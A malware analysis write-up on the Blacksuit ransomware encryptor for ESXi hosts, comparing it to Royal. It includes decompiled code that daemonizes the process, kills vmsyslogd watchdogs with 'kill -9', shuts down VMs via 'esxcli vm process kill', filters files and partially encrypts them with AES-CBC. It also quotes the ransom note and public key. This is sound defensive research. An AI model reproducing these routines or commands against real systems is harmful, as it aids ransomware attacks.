Blacksuit Ransomware

A new ELF encryptor for ESXi systems

Overview

The Blacksuit ransomware encryptor has hit the threat landscape with limited but successful attacks in a short period of time. Blacksuit targets ESXi based systems and focuses on vulnerable VM infrastructure. The encryptor shares many code overlaps with the existing Royal ransomware encryptor, such as the ability to shutdown VMs, file discovery and control the percentage of encryption for each file.

Although Blacksuit has similarities to Royal, it provides improvements such as the ability to safely shutdown a VM instance, configurable options for skipping encryption of specific VM instances and ensuring file discovery identifies the right targets to encrypt. Since there is such a high overlap of code similarity, it is suggested that the Blacksuit malware developers are the same as the Royal ransomware encryptor team.

The following technical analysis will explore the key malicious techniques that define the capable encryptor.

Key points

The blacksuit ransomware encryptor is designed to encrypt VM files or other files in an ESXi based host. The encryptor utilizes existing ESXi tools and the system shell to accomplish various techniques.

The encryptor is being used along side the existing Royal ransomware encryptor. Blacksuit has a leak site and unique ID's that represent the victim.

At this time, the encryptor is being used in limited cases.

  • Code similarity to Royal encryptor

  • Uses existing ESXi commands and the host shell

  • Partial or full file encryption

  • Configurable VM management

Technical Analysis

Hash: 1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e

Target systems: ESXi

Program Flow

Blacksuit Program Flow

Blacksuit Program Flow

Step #1

Parse command line arguments

Reversed-engineered Source code: Github | Github

The sample starts off with a main function which facilitates the majority of the techniques in the sample. The program arguments are checked before each technique is called. Each option is checked against a string representation of that option by using the ‘strcmp(2')’ function.

The following options can be passed into the sample.

Arguments:

  • '-name': ID to identify the campaign target

  • 'percentage': Percentage of the file to encrypt (default 50%)

  • '-p': Path for file discovery

  • 'thrcount': Amount of threads to create for the encryption thread pool

  • '-skip': When evaluating VM's, identify the VM world ID that you wish to skip

  • 'killvm': Stop the VM using the esxcli kill command

  • 'allfiles': Identify VM only files or all files

  • 'noprotect': Check if the encryptor is already running

  • 'vmsyslog': Determine if VM watch dog processes are killed

  • 'demonoff': Enable or disable the demon process

APIs

Step #2

Spawn Daemon Process

Reversed-engineered Source code: Github

The next step will determine if the sample should fork a child process to facilitate the remainder of the techniques. The program will continue on regardless if it was forked into a child process or not (depending on if the 'demonoff' process program argument was set to true).

When attempting to detach the process, the fork(0) and setsid(0) functions are used to create a child process and set a new sessions to control the terminal. If the PID returned from fork(0) is not zero or less than zero, it is assumed to be the parent process which exit(1) is used to exit the parent process successfully. If the PID is less than zero, the program will return 1 and exit as a failure. If the PID is zero, a line is printed to the terminal indicating the process is running detached.

if (demonoff != 1) {
    pidID = fork(); // Create a sub process
    if (pidID < 0)
        return 1; // Error occured forking the process
    if (pidID)    // Parent process ID is not an error
        exit(0);
    setsid(); // Create a session and sets the process group ID.  A new session can control the terminal
    pidID = fork();
    if (pidID < 0)
        return 2; // Error occured forking the process
    if (pidID)    // Parent process ID is not an error
        exit(0);
    // Child process successfully created
    *(_QWORD *)&argc = "\nThe process is running, you can close...";
    puts("\nThe process is running, you can close...");
}

Step #3

Stop - Watch dog services

Reversed-engineered Source code: Github

Once the process state is set, the sample will check if the VM watch dog processes should be killed, by utilizing the shell and the 'ps', as well as the 'kill' commands.


The watch dog processes are first identified by the 'ps' command by calling the 'execlp(5)' function with the string "ps -Cc|grep vmsyslogd > PS_syslog_". The results of the ps command will be filtered by the string 'vmsyslogd' and the results redirected to the 'PS_syslog_' file.

The file is later opened via the 'open(2)' function, and the file statistics are determined by calling the 'stat(2)' function. The file stats are used to allocate enough room in a buffer to store the contents of the file, which are read from the 'read(3)' call.

Once the file is read, the function will search for the string "wdog-" which is then used to construct a command string using the 'kill' command and the SIGKILL (-9) signal. This signal is not catch-able and will terminate the process. The kill command is called via the 'execlp(5)' function call in another shell.

//
// See github for full source
//
// Find the processes will 'wdog-'. Then obtain the
// ID and kill the process using the 'kill' command
// and signal 9 (SIGKILL).
if ( ptrStrIndex )
{
    ptrStrIndex += 5;
    v10 = strstr(ptrStrIndex, " ");
    strLen2 = (_DWORD)v10 - (_DWORD)ptrStrIndex;
    memset(procToKill, 0, sizeof(procToKill));
    memcpy(procToKill, ptrStrIndex, strLen2);
    memset(kllCmd, 0, sizeof(v0));
    sprintf(kllCmd, "kill -9 %s", procToKill1);
    logs::print((logs *)"kill -9 %s", procToKill1);
    pidID = fork();
    if ( !pidID )
    {
        execlp("/bin/sh", "/bin/sh", "-c", kllCmd, 0LL);
        exit(0);
    }
    wait(0LL);
    memset(kllCmd, 0, sizeof(v0));
    sprintf(v0, "kill -9 %s", procToKill);
    logs::print((logs *)"kill -9 %s", procToKill);
    pidID = fork();
    if ( !pidID )
    {
        execlp("/bin/sh", "/bin/sh", "-c", kllCmd, 0LL);
        exit(0);
    }
    wait(0LL);
}

Step #4

Data encrypted for impact - Generate Entropy

Reversed-engineered Source code: Github

The generate entropy is used to facilitate the encryption process later, this entropy is gathered from system components through 'dev/random' or 'vmkdriver/random' interfaces.

The function is used to generate entropy of the system prior to the encryption thread pool processing files. The function makes use of the 'open(2)' function calls on the interfaces for '/dev/random' or '/dev/char/vmkdriver/random'. Both interfaces will block the thread if not enough entropy has been generated by the system yet. Once generated up to '2048' bytes are read from the stream. The 'RAND_add(3)' function call is used to mix the bytes into the PRNG state.

APIs


Step #5

Stop - VMs instances

Reversed-engineered Source code: Github

Next the sample will determine if it should skip or shutdown certain VM's, to ensure the encryption process is successful when handling vm specific files. The sample accomplishes this through the use of the system 'esxcli' commands.

The stop VM instances are responsible for safely shutting down the VM instances by using the 'esxcli' command. The sample starts by forking to a child process for calling the 'execlp(5)' function with the command string "esxcli vm process list > list_'. The system command 'esxcli' will obtain a list of running VMs, the result is redirected to the file 'list_'.

The 'list_' file is later opened via the 'open(2)' function, and the file statistics are determined by calling the 'stat(2)' function. The file stats are used to allocate enough room in a buffer to store the contents of the file, which are read from the 'read(3)' call.

The function will check the world ID's by searching for all instances of the string "World ID: ". The ID's are then compared to a list of skippable VMs.

Lastly, the VMs which are identified for shut down, are then safely (using the --type=soft option) shutdown using the command 'esxcli vm process kill --type=soft --world-id=' which is executed in another shell via the 'execlp(5)' call.

Special Note: The Royal ransomware encryptor does not use the ‘soft’ option, instead it uses ‘hard’ which forces the VM to shutdown immediately.

//
// See github for full source
//
if ( !vmSkipList || !CheckSkipListForWorldID(vmSkipList, haystack) ) {
    memset(shutdownVMProcess, 0, sizeof(shutdownVMProcess));

    // kill the VM process using the 'esxcli' command and the
    // type 'soft' and the world ID found in the VM process list. 
    // The 'soft' option will allow for a more graceful
    // shutdown to the VM instance.
    sprintf(shutdownVMProcess, "esxcli vm process kill --type=soft --world-id=%s", worldID);
    newPID = fork();                    // Create a new child process
    if ( !newPID ) {
        // Call the shutdown of the VM process in the child process
        execlp("/bin/sh", "/bin/sh", "-c", shutdownVMProcess, 0LL);
        exit(0);                          // Exit the child process
    }
    wait(0LL);                          // Wait for the child process handling the command to complete
    }
}

Step #6

File and Directory discovery

Reversed-engineered Source code: Github

Lastly, a new thread pool is created to facilitate the encryption process. The file and directory discovery functions will coordinate with the encryption process by filtering certain files from encryption and storing them in a shared list. Both the file and directory discovery thread and the encryption thread pool run in parallel.

The files and directories are discovered by iterating through a list of directories using the 'opendir(1)' and 'readdir(1)' calls. While iterating, files and directories are identified by their file stats. Directories are identified by checking the 'st_mode' variable for '0x4000' which are directories and '0x8000' which are files.

If it is a file, it is checked against the filtering function 'SkipFiles(1)'. The following contains the list of filtered files.

Special Note: The Royal encryptor did not use lstat(2) on a file to determine file information. It is possible there was a bug which did not resolve a file information correctly in the Royal encryptor that has now been fixed in Blacksuit.

Static files to always skip:

  • .blacksuit

  • .BlackSuit

  • .blacksuit_log_

  • .list_

  • .PID_

  • .PS_list

  • .PID_list_

  • .CID_list_

  • .sf

  • .v00

  • .b00

  • README.BlackSuit.txt

  • README.blacksuit.txt

VMOnly enabled in the program arguments options, filter for these files

  • .vmem

  • .vmdk

  • .nvram

  • .vmsd

  • .vmsn

  • .vmss

  • .vmtm

  • .vmxf

  • .vmx

If the file is not skippable, it is added to a list that the encryption thread pool will then process.

//
// See github for full source
//
dirp = opendir(dirStr2);                    // Open the directory at dirStr(2)
    if ( !dirp )
      return 0LL;
    while ( 1 )
    {
      dirEnt = readdir(dirp);
      if ( !dirEnt )
        break;
      // check if file is current or parent directory symlink file
      if ( strcmp(dirEnt->d_name, ".") && strcmp(dirEnt->d_name, "..") )
      {
        std::string::string((std::string *)dirStr3, dirStr);
        std::string::operator+=(dirStr3, dirEnt->d_name);// Add the directory location and filename into one string
        cStrFilePath = (char *)std::string::c_str((std::string *)dirStr3);
        if ( !(unsigned int)lstat(cStrFilePath, &statInfo) )
        {
          if ( (statInfo.st_mode & 0xF000) == 0x4000 )// File is a directory
          {
            std::list<std::string,std::allocator<std::string>>::push_back(&list_directories, dirStr3);
          }
          else if ( (statInfo.st_mode & 0xF000) == 0x8000 )// File is a regular file
          {
            std::string::string((std::string *)dirStr4, (const std::string *)dirStr3);
            skipStatus = SkipFiles((std::string *)dirStr4);// Check if need to skip the file
            std::string::~string(dirStr4);
            if ( !skipStatus )
FILE = README.BlackSuit.txt

.rodata:0000000000584B10 aGoodWhateverTi db 'Good whatever time of day it is!',0Dh,0Ah
.rodata:0000000000584B32                 db 0Dh,0Ah
.rodata:0000000000584B34                 db 'Your safety service did a really poor job of protecting your file'
.rodata:0000000000584B75                 db 's against our professionals.',0Dh,0Ah
.rodata:0000000000584B93                 db 'Extortioner named  BlackSuit has attacked your system.',0Dh,0Ah
.rodata:0000000000584BCB                 db 0Dh,0Ah
.rodata:0000000000584BCD                 db 'As a result all your essential files were encrypted and saved at '
.rodata:0000000000584C0E                 db 'a secure server for further use and publishing on the Web into th'
.rodata:0000000000584C4F                 db 'e public realm.',0Dh,0Ah
.rodata:0000000000584C60                 db 'Now we have all your files like: financial reports, intellectual '
.rodata:0000000000584CA1                 db 'property, accounting, law actionsand complaints, personal files a'
.rodata:0000000000584CE2                 db 'nd so on and so forth. ',0Dh,0Ah
.rodata:0000000000584CFB                 db 0Dh,0Ah
.rodata:0000000000584CFD                 db 'We are able to solve this problem in one touch.',0Dh,0Ah
.rodata:0000000000584D2E                 db 'We (BlackSuit) are ready to give you an opportunity to get all th'
.rodata:0000000000584D6F                 db 'e things back if you agree to makea deal with us.',0Dh,0Ah
.rodata:0000000000584DA2                 db 'You have a chance to get rid of all possible financial, legal, in'
.rodata:0000000000584DE3                 db 'surance and many others risks and problems for a quite small comp'
.rodata:0000000000584E24                 db 'ensation.',0Dh,0Ah
.rodata:0000000000584E2F                 db 'You can have a safety review of your systems.',0Dh,0Ah
.rodata:0000000000584E5E                 db 'All your files will be decrypted, your data will be reset, your s'
.rodata:0000000000584E9F                 db 'ystems will stay in safe.',0Dh,0Ah
.rodata:0000000000584EBA                 db 'Contact us through TOR browser using the link:',0Dh,0Ah
.rodata:0000000000584EEA                 db 9,'http://<redacted>>'
.rodata:0000000000584F2A                 db '.onion/?id=

Step #6.1

Data encrypted for impact

Reversed-engineered Source code: Github

The sample will use OpenSSL AES CBC algorithm to encrypt files that were discovered during the 'File and Directory' discovery process. Each file encrypted will be renamed with the '.blacksuit' extension. Depending on the percentage parameter passed into the program, the encryption algorithm will either partially or fully encrypt the files it finds.

The following public key was used during encryption:

2D 2D 2D 2D 2D 42 45 47  49 4E 20 50 55 42 4C 49  -----BEGIN PUBLI
43 20 4B 45 59 2D 2D 2D  2D 2D 0A 4D 43 6F 77 42  C KEY-----.MCowB
51 59 44 4B 32 56 75 41  79 45 41 78 48 46 69 6F  QYDK2VuAyEAxHFio
79 79 59 52 78 63 39 41  49 36 31 72 2B 38 62 74  yyYRxc9AI61r+8bt
43 5A 46 69 72 33 44 4A  77 73 4E 38 49 49 77 38  CZFir3DJwsN8IIw8
47 73 58 75 79 59 3D 0A  2D 2D 2D 2D 2D 45 4E 44  GsXuyY=.-----END
20 50 55 42 4C 49 43 20  4B 45 59 2D 2D 2D 2D 2D   PUBLIC KEY-----
//
// See github for full source
///
// Prepare the encryption settings, such as the
// encryption percentage based on the file attributes
if ( (unsigned __int8)prepare_encryption_settings((__int64)ptrDataFile, bio_pubKey) != 1 )
    goto LABEL_9;
    while ( *((_BYTE *)ptrDataFile + 262297) != 1 )
    {
    // Read the file contents upto parts of ptrDataFile
    if ( (unsigned __int8)read_file(ptrDataFile) != 1 ) {
        *((_BYTE *)ptrDataFile + 262298) = 1;
            break;
    }

    // Encrypt parts of the file using AES CBC
    if ( (unsigned __int8)aes_cbc_encrypt_file(ptrDataFile) != 1 ) {
            *((_BYTE *)ptrDataFile + 262298) = 1;
            break;
    }

    // Write the newly encrypted data
        if ( (unsigned __int8)write_file(ptrDataFile) != 1 )
        // ...

APIs

Remarks

Blacksuit ESXi is a sophisticated and capable encryptor. It borrows a lot of code from the existing and successful Royal encryptor, but instead of wide spread use, the encryptor is being deployed in limited cases.

It is possible the threat actors are affiliates of the Royal encryptor, or that the developers of the Royal encryptor are testing the threat landscape.

Only time will tell if Blacksuit ransomware will replace Royal ransomware.

Previous
Previous

Abyss Locker Ransomware